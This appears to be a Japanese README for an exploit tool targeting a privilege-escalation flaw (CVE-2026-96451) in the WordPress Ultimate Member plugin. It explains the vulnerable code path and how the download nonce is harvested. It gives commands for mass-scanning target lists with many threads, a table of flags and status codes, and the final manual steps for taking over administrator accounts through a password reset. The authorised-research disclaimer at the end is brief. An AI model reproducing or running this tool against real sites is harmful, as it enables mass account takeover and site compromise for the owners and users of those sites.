
WordPress Ultimate Member プラグイン <= 2.13.1 - 権限昇格の脆弱性
WordPress Ultimate Member プラグイン <= 2.13.1 - 権限昇格の脆弱性
Ultimate Member <= 2.13.1 — 権限昇格 / アカウント乗っ取り
📌 公式レコード: CVE-2026-96451
CVE.org より:
Ultimate Member におけるユーザー制御キーによる認可バイパスの脆弱性は、Ultimate Member Ultimate Member ultimate-member で権限昇格を可能にします。この問題は Ultimate Member: n/a から 2.13.1 までに影響します。
| フィールド | 値 |
|---|---|
| 🆔 CVE | CVE-2026-96451 |
| 🏷️ CWE | CWE-639 — ユーザー制御キーによる認可バイパス |
| 📊 CVSS 3.1 | 8.8 HIGH AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 🏢 割り当て者 | Patchstack |
| ⚠️ 影響を受ける | Ultimate Member 2.13.1 まで |
| ✅ 修正済み | 2.14.0 |
ログイン済みの購読者は、別のユーザー(通常は管理者)のメールアドレスを変更できます。その後、WordPress はその新しいメールボックスに対するパスワードリセットを受け入れます。
um_fetch_user($user_id) を呼び出して、グローバルユーザーを URL 内の ID に切り替えます。download_routing() は um_reset_user() なしで 戻ります。_um_account=1、user_email=...)も含まれます。account_submit() は um_user('ID') を読み取り — 今や被害者 — 新しいメールアドレスを書き込みます。ダウンロード nonce は wp_create_nonce($user_id . $form_id . 'um-download-nonce') です。これはそのユーザー ID に紐付けられています。捏造することはできません。スクリプトは、目に見える /um-download/{form}/{field}/{user}/{nonce}/ リンクからそれをコピーします。
カスタムの file または image フィールドがプロフィールに表示されている必要があります。組み込みのプロフィール写真/カバー写真は、このリンクを生成しません。
pip install requests rich
登録、ログイン、nonce 収集、エクスプロイト、リセットチェックは自動です。手動でアカウントを作成する必要はなく、一括スキャンのために購読者のパスワードを渡す必要もありません。
python CVE-2026-96451.py -l targets.txt -t 80 --email "[email protected]" -o um_takeover.txt
このコマンドが各ホストで行うこと:
/account/ を開く/um-download/ nonce を探す(ユーザー ID 1 を優先し、次にファイルを持つ任意のメンバー)--email に設定wp-login.php?action=lostpassword をプローブ(WordPress はここで nonce を必要としません)um_takeover.txt に書き込む--email は、リセットを受け取るためにターゲットアカウントに設定されるメールボックスです。スクリプトは受信トレイを開いたり、新しいパスワードを設定したりしません。その最後のステップは手動です。
python CVE-2026-96451.py -u "https://example.com" --email "[email protected]"
| フラグ | 目的 | デフォルト |
|---|---|---|
-l / --list | ターゲットのファイル | — |
-u / --url | 単一のターゲット | — |
-t / --threads | ワーカー | 10 |
-o / --output | 結果ファイル | um_takeover.txt |
--email | 被害者に書き込まれるメールボックス | 自動生成 |
--target-id | 優先ユーザー ID | 1 |
--user / --password | 登録する代わりに既存の購読者を使用 | オフ |
-v / --verbose | すべてのステージを出力 | オフ |
遅い RDP ボックスでは、80~150 スレッドで十分です。リストスキャンでは、各ホストに約 22 秒が与えられます。
[5400/11965] RST:0 CHG:0 UM:4463 REG:589 rf:3874 lf:0 na:141 nd:448 nc:0 no:937
| コード | 意味 |
|---|---|
RST / CHG | メールアドレスが変更され、および/またはリセットが受け入れられた — 受信トレイを確認してください |
UM | Ultimate Member を検出 |
REG | 自動登録がセッションを作成 |
rf | 公開フォーム、CAPTCHA、承認、またはメール認証がない |
lf | 登録されたがログインに失敗 |
na | アカウントページ / nonce が見つからない |
nd | 目に見えるダウンロード nonce がない(カスタムファイルフィールドがない) |
nc | エクスプロイトを送信したが、変更が確認されなかった |
no | Ultimate Member ではない |
多くのホストで REG_FAIL が発生するのは正常です。チェーンは、登録がセッションを作成し、ダウンロードリンクが目に見える場合にのみ続行されます。
RST または CHG が表示された場合:
--email に渡したメールボックスを開く/wp-login.php または /wp-admin/ でサインインするこのプロジェクトは許可されたセキュリティ研究のみを目的としています — あなたが所有する、またはテストする書面による許可を得たシステムに限ります。
コンピュータシステムへの不正アクセスは違法です。作者は、このソフトウェアの誤用、損害、またはいかなる結果についても一切の責任を負いません。その使用方法と、スキャンするすべてのターゲットについては、あなたが単独で責任を負います。
作成者: Nxploited ( Khaled Alenazi )